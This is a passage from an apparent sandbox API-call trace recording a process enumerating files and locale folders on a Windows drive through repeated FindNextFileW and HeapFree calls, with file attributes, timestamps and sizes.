ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0286.458] FindClose (in: hFindFile=0x74a5b0 | out: hFindFile=0x74a5b0) returned 1 [0286.458] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.459] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0286.459] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.459] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0286.459] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.459] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa8a27762, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0286.463] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.464] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaa2fae09, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0286.464] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.464] FindNextFileW (in: hFindFile=0x74ac70, lpFindFileData=0x2f7fcf8 | out: lpFindFileData=0x2f7fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x393aeeb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x393aeeb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0286.464] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.464] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0286.466] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.466] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0286.467] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.467] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0286.467] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.467] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0286.467] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.467] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0286.467] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.467] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0286.468] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.468] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0286.468] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.468] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0286.468] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.468] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.470] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0286.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.470] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0286.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.470] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0286.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.470] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0286.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.470] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0286.471] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.471] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0286.471] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.471] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0286.471] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.471] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0286.472] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.472] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0286.472] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.472] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0286.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.474] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0286.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.474] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0286.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.474] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0286.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.474] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0286.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.475] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0286.475] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.475] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0286.475] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.475] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0286.475] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.475] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0286.476] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.476] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0286.476] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.476] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0286.476] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.476] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0286.476] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.476] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0286.478] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.478] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0286.478] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.478] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0286.478] HeapFree 